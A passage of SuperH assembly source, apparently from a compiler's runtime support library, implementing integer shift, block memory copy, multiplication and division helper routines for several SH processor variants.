GLOBAL(ashlsi3):
mov #31,r0
and r0,r5
mova LOCAL(ashlsi3_table),r0
mov.b @(r0,r5),r5
#ifdef __sh1__
add r5,r0
jmp @r0
#else
braf r5
#endif
mov r4,r0
.align 2
LOCAL(ashlsi3_table):
.byte LOCAL(ashlsi3_0)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_1)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_2)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_3)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_4)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_5)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_6)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_7)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_8)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_9)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_10)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_11)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_12)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_13)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_14)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_15)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_16)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_17)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_18)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_19)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_20)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_21)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_22)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_23)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_24)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_25)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_26)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_27)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_28)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_29)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_30)-LOCAL(ashlsi3_table)
.byte LOCAL(ashlsi3_31)-LOCAL(ashlsi3_table)
LOCAL(ashlsi3_6):
shll2 r0
LOCAL(ashlsi3_4):
shll2 r0
LOCAL(ashlsi3_2):
rts
shll2 r0
LOCAL(ashlsi3_7):
shll2 r0
LOCAL(ashlsi3_5):
shll2 r0
LOCAL(ashlsi3_3):
shll2 r0
LOCAL(ashlsi3_1):
rts
shll r0
LOCAL(ashlsi3_14):
shll2 r0
LOCAL(ashlsi3_12):
shll2 r0
LOCAL(ashlsi3_10):
shll2 r0
LOCAL(ashlsi3_8):
rts
shll8 r0
LOCAL(ashlsi3_15):
shll2 r0
LOCAL(ashlsi3_13):
shll2 r0
LOCAL(ashlsi3_11):
shll2 r0
LOCAL(ashlsi3_9):
shll8 r0
rts
shll r0
LOCAL(ashlsi3_22):
shll2 r0
LOCAL(ashlsi3_20):
shll2 r0
LOCAL(ashlsi3_18):
shll2 r0
LOCAL(ashlsi3_16):
rts
shll16 r0
LOCAL(ashlsi3_23):
shll2 r0
LOCAL(ashlsi3_21):
shll2 r0
LOCAL(ashlsi3_19):
shll2 r0
LOCAL(ashlsi3_17):
shll16 r0
rts
shll r0
LOCAL(ashlsi3_30):
shll2 r0
LOCAL(ashlsi3_28):
shll2 r0
LOCAL(ashlsi3_26):
shll2 r0
LOCAL(ashlsi3_24):
shll16 r0
rts
shll8 r0
LOCAL(ashlsi3_31):
shll2 r0
LOCAL(ashlsi3_29):
shll2 r0
LOCAL(ashlsi3_27):
shll2 r0
LOCAL(ashlsi3_25):
shll16 r0
shll8 r0
rts
shll r0
LOCAL(ashlsi3_0):
rts
nop
ENDFUNC(GLOBAL(ashlsi3))
#endif
#ifdef L_lshiftrt
!
! GLOBAL(lshrsi3)
!
! Entry:
!
! r4: Value to shift
! r5: Shifts
!
! Exit:
!
! r0: Result
!
! Destroys:
!
! (none)
!
.global GLOBAL(lshrsi3)
HIDDEN_FUNC(GLOBAL(lshrsi3))
.align 2
GLOBAL(lshrsi3):
mov #31,r0
and r0,r5
mova LOCAL(lshrsi3_table),r0
mov.b @(r0,r5),r5
#ifdef __sh1__
add r5,r0
jmp @r0
#else
braf r5
#endif
mov r4,r0
.align 2
LOCAL(lshrsi3_table):
.byte LOCAL(lshrsi3_0)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_1)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_2)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_3)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_4)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_5)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_6)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_7)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_8)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_9)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_10)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_11)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_12)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_13)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_14)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_15)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_16)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_17)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_18)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_19)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_20)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_21)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_22)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_23)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_24)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_25)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_26)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_27)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_28)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_29)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_30)-LOCAL(lshrsi3_table)
.byte LOCAL(lshrsi3_31)-LOCAL(lshrsi3_table)
LOCAL(lshrsi3_6):
shlr2 r0
LOCAL(lshrsi3_4):
shlr2 r0
LOCAL(lshrsi3_2):
rts
shlr2 r0
LOCAL(lshrsi3_7):
shlr2 r0
LOCAL(lshrsi3_5):
shlr2 r0
LOCAL(lshrsi3_3):
shlr2 r0
LOCAL(lshrsi3_1):
rts
shlr r0
LOCAL(lshrsi3_14):
shlr2 r0
LOCAL(lshrsi3_12):
shlr2 r0
LOCAL(lshrsi3_10):
shlr2 r0
LOCAL(lshrsi3_8):
rts
shlr8 r0
LOCAL(lshrsi3_15):
shlr2 r0
LOCAL(lshrsi3_13):
shlr2 r0
LOCAL(lshrsi3_11):
shlr2 r0
LOCAL(lshrsi3_9):
shlr8 r0
rts
shlr r0
LOCAL(lshrsi3_22):
shlr2 r0
LOCAL(lshrsi3_20):
shlr2 r0
LOCAL(lshrsi3_18):
shlr2 r0
LOCAL(lshrsi3_16):
rts
shlr16 r0
LOCAL(lshrsi3_23):
shlr2 r0
LOCAL(lshrsi3_21):
shlr2 r0
LOCAL(lshrsi3_19):
shlr2 r0
LOCAL(lshrsi3_17):
shlr16 r0
rts
shlr r0
LOCAL(lshrsi3_30):
shlr2 r0
LOCAL(lshrsi3_28):
shlr2 r0
LOCAL(lshrsi3_26):
shlr2 r0
LOCAL(lshrsi3_24):
shlr16 r0
rts
shlr8 r0
LOCAL(lshrsi3_31):
shlr2 r0
LOCAL(lshrsi3_29):
shlr2 r0
LOCAL(lshrsi3_27):
shlr2 r0
LOCAL(lshrsi3_25):
shlr16 r0
shlr8 r0
rts
shlr r0
LOCAL(lshrsi3_0):
rts
nop
ENDFUNC(GLOBAL(lshrsi3))
#endif
#ifdef L_movmem
.text
.balign 4
.global GLOBAL(movmem)
HIDDEN_FUNC(GLOBAL(movmem))
HIDDEN_ALIAS(movstr,movmem)
/* This would be a lot simpler if r6 contained the byte count
minus 64, and we wouldn't be called here for a byte count of 64. */
GLOBAL(movmem):
sts.l pr,@-r15
shll2 r6
bsr GLOBAL(movmemSI52+2)
mov.l @(48,r5),r0
.balign 4
LOCAL(movmem_loop): /* Reached with rts */
mov.l @(60,r5),r0
add #-64,r6
mov.l r0,@(60,r4)
tst r6,r6
mov.l @(56,r5),r0
bt LOCAL(movmem_done)
mov.l r0,@(56,r4)
cmp/pl r6
mov.l @(52,r5),r0
add #64,r5
mov.l r0,@(52,r4)
add #64,r4
bt GLOBAL(movmemSI52)
! done all the large groups, do the remainder
! jump to movmem+
mova GLOBAL(movmemSI4)+4,r0
add r6,r0
jmp @r0
LOCAL(movmem_done): ! share slot insn, works out aligned.
lds.l @r15+,pr
mov.l r0,@(56,r4)
mov.l @(52,r5),r0
rts
mov.l r0,@(52,r4)
.balign 4
! ??? We need aliases movstr* for movmem* for the older libraries. These
! aliases will be removed at the some point in the future.
.global GLOBAL(movmemSI64)
HIDDEN_FUNC(GLOBAL(movmemSI64))
HIDDEN_ALIAS(movstrSI64,movmemSI64)
GLOBAL(movmemSI64):
mov.l @(60,r5),r0
mov.l r0,@(60,r4)
.global GLOBAL(movmemSI60)
HIDDEN_FUNC(GLOBAL(movmemSI60))
HIDDEN_ALIAS(movstrSI60,movmemSI60)
GLOBAL(movmemSI60):
mov.l @(56,r5),r0
mov.l r0,@(56,r4)
.global GLOBAL(movmemSI56)
HIDDEN_FUNC(GLOBAL(movmemSI56))
HIDDEN_ALIAS(movstrSI56,movmemSI56)
GLOBAL(movmemSI56):
mov.l @(52,r5),r0
mov.l r0,@(52,r4)
.global GLOBAL(movmemSI52)
HIDDEN_FUNC(GLOBAL(movmemSI52))
HIDDEN_ALIAS(movstrSI52,movmemSI52)
GLOBAL(movmemSI52):
mov.l @(48,r5),r0
mov.l r0,@(48,r4)
.global GLOBAL(movmemSI48)
HIDDEN_FUNC(GLOBAL(movmemSI48))
HIDDEN_ALIAS(movstrSI48,movmemSI48)
GLOBAL(movmemSI48):
mov.l @(44,r5),r0
mov.l r0,@(44,r4)
.global GLOBAL(movmemSI44)
HIDDEN_FUNC(GLOBAL(movmemSI44))
HIDDEN_ALIAS(movstrSI44,movmemSI44)
GLOBAL(movmemSI44):
mov.l @(40,r5),r0
mov.l r0,@(40,r4)
.global GLOBAL(movmemSI40)
HIDDEN_FUNC(GLOBAL(movmemSI40))
HIDDEN_ALIAS(movstrSI40,movmemSI40)
GLOBAL(movmemSI40):
mov.l @(36,r5),r0
mov.l r0,@(36,r4)
.global GLOBAL(movmemSI36)
HIDDEN_FUNC(GLOBAL(movmemSI36))
HIDDEN_ALIAS(movstrSI36,movmemSI36)
GLOBAL(movmemSI36):
mov.l @(32,r5),r0
mov.l r0,@(32,r4)
.global GLOBAL(movmemSI32)
HIDDEN_FUNC(GLOBAL(movmemSI32))
HIDDEN_ALIAS(movstrSI32,movmemSI32)
GLOBAL(movmemSI32):
mov.l @(28,r5),r0
mov.l r0,@(28,r4)
.global GLOBAL(movmemSI28)
HIDDEN_FUNC(GLOBAL(movmemSI28))
HIDDEN_ALIAS(movstrSI28,movmemSI28)
GLOBAL(movmemSI28):
mov.l @(24,r5),r0
mov.l r0,@(24,r4)
.global GLOBAL(movmemSI24)
HIDDEN_FUNC(GLOBAL(movmemSI24))
HIDDEN_ALIAS(movstrSI24,movmemSI24)
GLOBAL(movmemSI24):
mov.l @(20,r5),r0
mov.l r0,@(20,r4)
.global GLOBAL(movmemSI20)
HIDDEN_FUNC(GLOBAL(movmemSI20))
HIDDEN_ALIAS(movstrSI20,movmemSI20)
GLOBAL(movmemSI20):
mov.l @(16,r5),r0
mov.l r0,@(16,r4)
.global GLOBAL(movmemSI16)
HIDDEN_FUNC(GLOBAL(movmemSI16))
HIDDEN_ALIAS(movstrSI16,movmemSI16)
GLOBAL(movmemSI16):
mov.l @(12,r5),r0
mov.l r0,@(12,r4)
.global GLOBAL(movmemSI12)
HIDDEN_FUNC(GLOBAL(movmemSI12))
HIDDEN_ALIAS(movstrSI12,movmemSI12)
GLOBAL(movmemSI12):
mov.l @(8,r5),r0
mov.l r0,@(8,r4)
.global GLOBAL(movmemSI8)
HIDDEN_FUNC(GLOBAL(movmemSI8))
HIDDEN_ALIAS(movstrSI8,movmemSI8)
GLOBAL(movmemSI8):
mov.l @(4,r5),r0
mov.l r0,@(4,r4)
.global GLOBAL(movmemSI4)
HIDDEN_FUNC(GLOBAL(movmemSI4))
HIDDEN_ALIAS(movstrSI4,movmemSI4)
GLOBAL(movmemSI4):
mov.l @(0,r5),r0
rts
mov.l r0,@(0,r4)
ENDFUNC(GLOBAL(movmemSI64))
ENDFUNC(GLOBAL(movmemSI60))
ENDFUNC(GLOBAL(movmemSI56))
ENDFUNC(GLOBAL(movmemSI52))
ENDFUNC(GLOBAL(movmemSI48))
ENDFUNC(GLOBAL(movmemSI44))
ENDFUNC(GLOBAL(movmemSI40))
ENDFUNC(GLOBAL(movmemSI36))
ENDFUNC(GLOBAL(movmemSI32))
ENDFUNC(GLOBAL(movmemSI28))
ENDFUNC(GLOBAL(movmemSI24))
ENDFUNC(GLOBAL(movmemSI20))
ENDFUNC(GLOBAL(movmemSI16))
ENDFUNC(GLOBAL(movmemSI12))
ENDFUNC(GLOBAL(movmemSI8))
ENDFUNC(GLOBAL(movmemSI4))
ENDFUNC(GLOBAL(movmem))
#endif
#ifdef L_movmem_i4
.text
.global GLOBAL(movmem_i4_even)
.global GLOBAL(movmem_i4_odd)
.global GLOBAL(movmemSI12_i4)
HIDDEN_FUNC(GLOBAL(movmem_i4_even))
HIDDEN_FUNC(GLOBAL(movmem_i4_odd))
HIDDEN_FUNC(GLOBAL(movmemSI12_i4))
HIDDEN_ALIAS(movstr_i4_even,movmem_i4_even)
HIDDEN_ALIAS(movstr_i4_odd,movmem_i4_odd)
HIDDEN_ALIAS(movstrSI12_i4,movmemSI12_i4)
.p2align 5
L_movmem_2mod4_end:
mov.l r0,@(16,r4)
rts
mov.l r1,@(20,r4)
.p2align 2
GLOBAL(movmem_i4_even):
mov.l @r5+,r0
bra L_movmem_start_even
mov.l @r5+,r1
GLOBAL(movmem_i4_odd):
mov.l @r5+,r1
add #-4,r4
mov.l @r5+,r2
mov.l @r5+,r3
mov.l r1,@(4,r4)
mov.l r2,@(8,r4)
L_movmem_loop:
mov.l r3,@(12,r4)
dt r6
mov.l @r5+,r0
bt/s L_movmem_2mod4_end
mov.l @r5+,r1
add #16,r4
L_movmem_start_even:
mov.l @r5+,r2
mov.l @r5+,r3
mov.l r0,@r4
dt r6
mov.l r1,@(4,r4)
bf/s L_movmem_loop
mov.l r2,@(8,r4)
rts
mov.l r3,@(12,r4)
ENDFUNC(GLOBAL(movmem_i4_even))
ENDFUNC(GLOBAL(movmem_i4_odd))
.p2align 4
GLOBAL(movmemSI12_i4):
mov.l @r5,r0
mov.l @(4,r5),r1
mov.l @(8,r5),r2
mov.l r0,@r4
mov.l r1,@(4,r4)
rts
mov.l r2,@(8,r4)
ENDFUNC(GLOBAL(movmemSI12_i4))
#endif
#ifdef L_mulsi3
.global GLOBAL(mulsi3)
HIDDEN_FUNC(GLOBAL(mulsi3))
! r4 = aabb
! r5 = ccdd
! r0 = aabb*ccdd via partial products
!
! if aa == 0 and cc = 0
! r0 = bb*dd
!
! else
! aa = bb*dd + (aa*dd*65536) + (cc*bb*65536)
!
GLOBAL(mulsi3):
mulu.w r4,r5 ! multiply the lsws macl=bb*dd
mov r5,r3 ! r3 = ccdd
swap.w r4,r2 ! r2 = bbaa
xtrct r2,r3 ! r3 = aacc
tst r3,r3 ! msws zero ?
bf hiset
rts ! yes - then we have the answer
sts macl,r0
hiset: sts macl,r0 ! r0 = bb*dd
mulu.w r2,r5 ! brewing macl = aa*dd
sts macl,r1
mulu.w r3,r4 ! brewing macl = cc*bb
sts macl,r2
add r1,r2
shll16 r2
rts
add r2,r0
ENDFUNC(GLOBAL(mulsi3))
#endif
#endif /* ! __SH5__ */
#ifdef L_sdivsi3_i4
.title "SH DIVIDE"
!! 4 byte integer Divide code for the Renesas SH
#ifdef __SH4__
!! args in r4 and r5, result in fpul, clobber dr0, dr2
.global GLOBAL(sdivsi3_i4)
HIDDEN_FUNC(GLOBAL(sdivsi3_i4))
GLOBAL(sdivsi3_i4):
lds r4,fpul
float fpul,dr0
lds r5,fpul
float fpul,dr2
fdiv dr2,dr0
rts
ftrc dr0,fpul
ENDFUNC(GLOBAL(sdivsi3_i4))
#elif defined(__SH4_SINGLE__) || defined(__SH4_SINGLE_ONLY__) || (defined (__SH5__) && ! defined __SH4_NOFPU__)
!! args in r4 and r5, result in fpul, clobber r2, dr0, dr2
#if ! __SH5__ || __SH5__ == 32
#if __SH5__
.mode SHcompact
#endif
.global GLOBAL(sdivsi3_i4)
HIDDEN_FUNC(GLOBAL(sdivsi3_i4))
GLOBAL(sdivsi3_i4):
sts.l fpscr,@-r15
mov #8,r2
swap.w r2,r2
lds r2,fpscr
lds r4,fpul
float fpul,dr0
lds r5,fpul
float fpul,dr2
fdiv dr2,dr0
ftrc dr0,fpul
rts
lds.l @r15+,fpscr
ENDFUNC(GLOBAL(sdivsi3_i4))
#endif /* ! __SH5__ || __SH5__ == 32 */
#endif /* ! __SH4__ */
#endif
#ifdef L_sdivsi3
/* __SH4_SINGLE_ONLY__ keeps this part for link compatibility with
sh2e/sh3e code. */
#if (! defined(__SH4__) && ! defined (__SH4_SINGLE__)) || defined (__linux__) || defined (__OpenBSD__)
!!
!! Steve Chamberlain
!! sac@cygnus.com
!!
!!
!! args in r4 and r5, result in r0 clobber r1, r2, r3, and t bit
.global GLOBAL(sdivsi3)
#if __SHMEDIA__
#if __SH5__ == 32
.section .text..SHmedia32,"ax"
#else
.text
#endif
.align 2
#if 0
/* The assembly code that follows is a hand-optimized version of the C
code that follows. Note that the registers that are modified are
exactly those listed as clobbered in the patterns divsi3_i1 and
divsi3_i1_media.
int __sdivsi3 (i, j)
int i, j;
{
register unsigned long long r18 asm ("r18");
register unsigned long long r19 asm ("r19");
register unsigned long long r0 asm ("r0") = 0;
register unsigned long long r1 asm ("r1") = 1;
register int r2 asm ("r2") = i >> 31;
register int r3 asm ("r3") = j >> 31;
r2 = r2 ? r2 : r1;
r3 = r3 ? r3 : r1;
r18 = i * r2;
r19 = j * r3;
r2 *= r3;
r19 <<= 31;
r1 <<= 31;
do
if (r18 >= r19)
r0 |= r1, r18 -= r19;
while (r19 >>= 1, r1 >>= 1);
return r2 * (int)r0;
}
*/
GLOBAL(sdivsi3):
pt/l LOCAL(sdivsi3_dontadd), tr2
pt/l LOCAL(sdivsi3_loop), tr1
ptabs/l r18, tr0
movi 0, r0
movi 1, r1
shari.l r4, 31, r2
shari.l r5, 31, r3
cmveq r2, r1, r2
cmveq r3, r1, r3
muls.l r4, r2, r18
muls.l r5, r3, r19
muls.l r2, r3, r2
shlli r19, 31, r19
shlli r1, 31, r1
LOCAL(sdivsi3_loop):
bgtu r19, r18, tr2
or r0, r1, r0
sub r18, r19, r18
LOCAL(sdivsi3_dontadd):
shlri r1, 1, r1
shlri r19, 1, r19
bnei r1, 0, tr1
muls.l r0, r2, r0
add.l r0, r63, r0
blink tr0, r63
#elif 0 /* ! 0 */
// inputs: r4,r5
// clobbered: r1,r2,r3,r18,r19,r20,r21,r25,tr0
// result in r0
GLOBAL(sdivsi3):
// can create absolute value without extra latency,
// but dependent on proper sign extension of inputs:
// shari.l r5,31,r2
// xor r5,r2,r20
// sub r20,r2,r20 // r20 is now absolute value of r5, zero-extended.
shari.l r5,31,r2
ori r2,1,r2
muls.l r5,r2,r20 // r20 is now absolute value of r5, zero-extended.
movi 0xffffffffffffbb0c,r19 // shift count eqiv 76
shari.l r4,31,r3
nsb r20,r0
shlld r20,r0,r25
shlri r25,48,r25
sub r19,r25,r1
mmulfx.w r1,r1,r2
mshflo.w r1,r63,r1
// If r4 was to be used in-place instead of r21, could use this sequence
// to compute absolute:
// sub r63,r4,r19 // compute absolute value of r4
// shlri r4,32,r3 // into lower 32 bit of r4, keeping
// mcmv r19,r3,r4 // the sign in the upper 32 bits intact.
ori r3,1,r3
mmulfx.w r25,r2,r2
sub r19,r0,r0
muls.l r4,r3,r21
msub.w r1,r2,r2
addi r2,-2,r1
mulu.l r21,r1,r19
mmulfx.w r2,r2,r2
shlli r1,15,r1
shlrd r19,r0,r19
mulu.l r19,r20,r3
mmacnfx.wl r25,r2,r1
ptabs r18,tr0
sub r21,r3,r25
mulu.l r25,r1,r2
addi r0,14,r0
xor r4,r5,r18
shlrd r2,r0,r2
mulu.l r2,r20,r3
add r19,r2,r19
shari.l r18,31,r18
sub r25,r3,r25
mulu.l r25,r1,r2
sub r25,r20,r25
add r19,r18,r19
shlrd r2,r0,r2
mulu.l r2,r20,r3
addi r25,1,r25
add r19,r2,r19
cmpgt r25,r3,r25
add.l r19,r25,r0
xor r0,r18,r0
blink tr0,r63
#else /* ! 0 && ! 0 */
// inputs: r4,r5
// clobbered: r1,r18,r19,r20,r21,r25,tr0
// result in r0
HIDDEN_FUNC(GLOBAL(sdivsi3_2))
#ifndef __pic__
FUNC(GLOBAL(sdivsi3))
GLOBAL(sdivsi3): /* this is the shcompact entry point */
// The special SHmedia entry point sdivsi3_1 prevents accidental linking
// with the SHcompact implementation, which clobbers tr1 / tr2.
.global GLOBAL(sdivsi3_1)
GLOBAL(sdivsi3_1):
.global GLOBAL(div_table_internal)
movi (GLOBAL(div_table_internal) >> 16) & 65535, r20
shori GLOBAL(div_table_internal) & 65535, r20
#endif
.global GLOBAL(sdivsi3_2)
// div_table in r20
// clobbered: r1,r18,r19,r21,r25,tr0
GLOBAL(sdivsi3_2):
nsb r5, r1
shlld r5, r1, r25 // normalize; [-2 ..1, 1..2) in s2.62
shari r25, 58, r21 // extract 5(6) bit index (s2.4 with hole -1..1)
ldx.ub r20, r21, r19 // u0.8
shari r25, 32, r25 // normalize to s2.30
shlli r21, 1, r21
muls.l r25, r19, r19 // s2.38
ldx.w r20, r21, r21 // s2.14
ptabs r18, tr0
shari r19, 24, r19 // truncate to s2.14
sub r21, r19, r19 // some 11 bit inverse in s1.14
muls.l r19, r19, r21 // u0.28
sub r63, r1, r1
addi r1, 92, r1
muls.l r25, r21, r18 // s2.58
shlli r19, 45, r19 // multiply by two and convert to s2.58
/* bubble */
sub r19, r18, r18
shari r18, 28, r18 // some 22 bit inverse in s1.30
muls.l r18, r25, r0 // s2.60
muls.l r18, r4, r25 // s32.30
/* bubble */
shari r0, 16, r19 // s-16.44
muls.l r19, r18, r19 // s-16.74
shari r25, 63, r0
shari r4, 14, r18 // s19.-14
shari r19, 30, r19 // s-16.44
muls.l r19, r18, r19 // s15.30
xor r21, r0, r21 // You could also use the constant 1 << 27.
add r21, r25, r21
sub r21, r19, r21
shard r21, r1, r21
sub r21, r0, r0
blink tr0, r63
#ifndef __pic__
ENDFUNC(GLOBAL(sdivsi3))
#endif
ENDFUNC(GLOBAL(sdivsi3_2))
#endif
#elif defined __SHMEDIA__
/* m5compact-nofpu */
// clobbered: r18,r19,r20,r21,r25,tr0,tr1,tr2
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
FUNC(GLOBAL(sdivsi3))
GLOBAL(sdivsi3):
pt/l LOCAL(sdivsi3_dontsub), tr0
pt/l LOCAL(sdivsi3_loop), tr1
ptabs/l r18,tr2
shari.l r4,31,r18
shari.l r5,31,r19
xor r4,r18,r20
xor r5,r19,r21
sub.l r20,r18,r20
sub.l r21,r19,r21
xor r18,r19,r19
shlli r21,32,r25
addi r25,-1,r21
addz.l r20,r63,r20
LOCAL(sdivsi3_loop):
shlli r20,1,r20
bgeu/u r21,r20,tr0
sub r20,r21,r20
LOCAL(sdivsi3_dontsub):
addi.l r25,-1,r25
bnei r25,-32,tr1
xor r20,r19,r20
sub.l r20,r19,r0
blink tr2,r63
ENDFUNC(GLOBAL(sdivsi3))
#else /* ! __SHMEDIA__ */
FUNC(GLOBAL(sdivsi3))
GLOBAL(sdivsi3):
mov r4,r1
mov r5,r0
tst r0,r0
bt div0
mov #0,r2
div0s r2,r1
subc r3,r3
subc r2,r1
div0s r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
div1 r0,r3
rotcl r1
addc r2,r1
rts
mov r1,r0
div0: rts
mov #0,r0
ENDFUNC(GLOBAL(sdivsi3))
#endif /* ! __SHMEDIA__ */
#endif /* ! __SH4__ */
#endif
#ifdef L_udivsi3_i4
.title "SH DIVIDE"
!! 4 byte integer Divide code for the Renesas SH
#ifdef __SH4__
!! args in r4 and r5, result in fpul, clobber r0, r1, r4, r5, dr0, dr2, dr4,
!! and t bit
.global GLOBAL(udivsi3_i4)
HIDDEN_FUNC(GLOBAL(udivsi3_i4))
GLOBAL(udivsi3_i4):
mov #1,r1
cmp/hi r1,r5
bf trivial
rotr r1
xor r1,r4
lds r4,fpul
mova L1,r0
#ifdef FMOVD_WORKS
fmov.d @r0+,dr4
#else
fmov.s @r0+,DR40
fmov.s @r0,DR41
#endif
float fpul,dr0
xor r1,r5
lds r5,fpul
float fpul,dr2
fadd dr4,dr0
fadd dr4,dr2
fdiv dr2,dr0
rts
ftrc dr0,fpul
trivial:
rts
lds r4,fpul
.align 2
#ifdef FMOVD_WORKS
.align 3 ! make double below 8 byte aligned.
#endif
L1:
.double 2147483648
ENDFUNC(GLOBAL(udivsi3_i4))
#elif defined (__SH5__) && ! defined (__SH4_NOFPU__)
#if ! __SH5__ || __SH5__ == 32
!! args in r4 and r5, result in fpul, clobber r20, r21, dr0, fr33
.mode SHmedia
.global GLOBAL(udivsi3_i4)
HIDDEN_FUNC(GLOBAL(udivsi3_i4))
GLOBAL(udivsi3_i4):
addz.l r4,r63,r20
addz.l r5,r63,r21
fmov.qd r20,dr0
fmov.qd r21,dr32
ptabs r18,tr0
float.qd dr0,dr0
float.qd dr32,dr32
fdiv.d dr0,dr32,dr0
ftrc.dq dr0,dr32
fmov.s fr33,fr32
blink tr0,r63
ENDFUNC(GLOBAL(udivsi3_i4))
#endif /* ! __SH5__ || __SH5__ == 32 */
#elif defined(__SH4_SINGLE__) || defined(__SH4_SINGLE_ONLY__)
!! args in r4 and r5, result in fpul, clobber r0, r1, r4, r5, dr0, dr2, dr4
.global GLOBAL(udivsi3_i4)
HIDDEN_FUNC(GLOBAL(udivsi3_i4))
GLOBAL(udivsi3_i4):
mov #1,r1
cmp/hi r1,r5
bf trivial
sts.l fpscr,@-r15
mova L1,r0
lds.l @r0+,fpscr
rotr r1
xor r1,r4
lds r4,fpul
#ifdef FMOVD_WORKS
fmov.d @r0+,dr4
#else
fmov.s @r0+,DR40
fmov.s @r0,DR41
#endif
float fpul,dr0
xor r1,r5
lds r5,fpul
float fpul,dr2
fadd dr4,dr0
fadd dr4,dr2
fdiv dr2,dr0
ftrc dr0,fpul
rts
lds.l @r15+,fpscr
#ifdef FMOVD_WORKS
.align 3 ! make double below 8 byte aligned.
#endif
trivial:
rts
lds r4,fpul
.align 2
L1:
#ifndef FMOVD_WORKS
.long 0x80000
#else
.long 0x180000
#endif
.double 2147483648
ENDFUNC(GLOBAL(udivsi3_i4))
#endif /* ! __SH4__ */
#endif
#ifdef L_udivsi3
/* __SH4_SINGLE_ONLY__ keeps this part for link compatibility with
sh2e/sh3e code. */
#if (! defined(__SH4__) && ! defined (__SH4_SINGLE__)) || defined (__linux__) || defined (__OpenBSD__)
!! args in r4 and r5, result in r0, clobbers r4, pr, and t bit
.global GLOBAL(udivsi3)
HIDDEN_FUNC(GLOBAL(udivsi3))
#if __SHMEDIA__
#if __SH5__ == 32
.section .text..SHmedia32,"ax"
#else
.text
#endif
.align 2
#if 0
/* The assembly code that follows is a hand-optimized version of the C
code that follows. Note that the registers that are modified are
exactly those listed as clobbered in the patterns udivsi3_i1 and
udivsi3_i1_media.
unsigned
__udivsi3 (i, j)
unsigned i, j;
{
register unsigned long long r0 asm ("r0") = 0;
register unsigned long long r18 asm ("r18") = 1;
register unsigned long long r4 asm ("r4") = i;
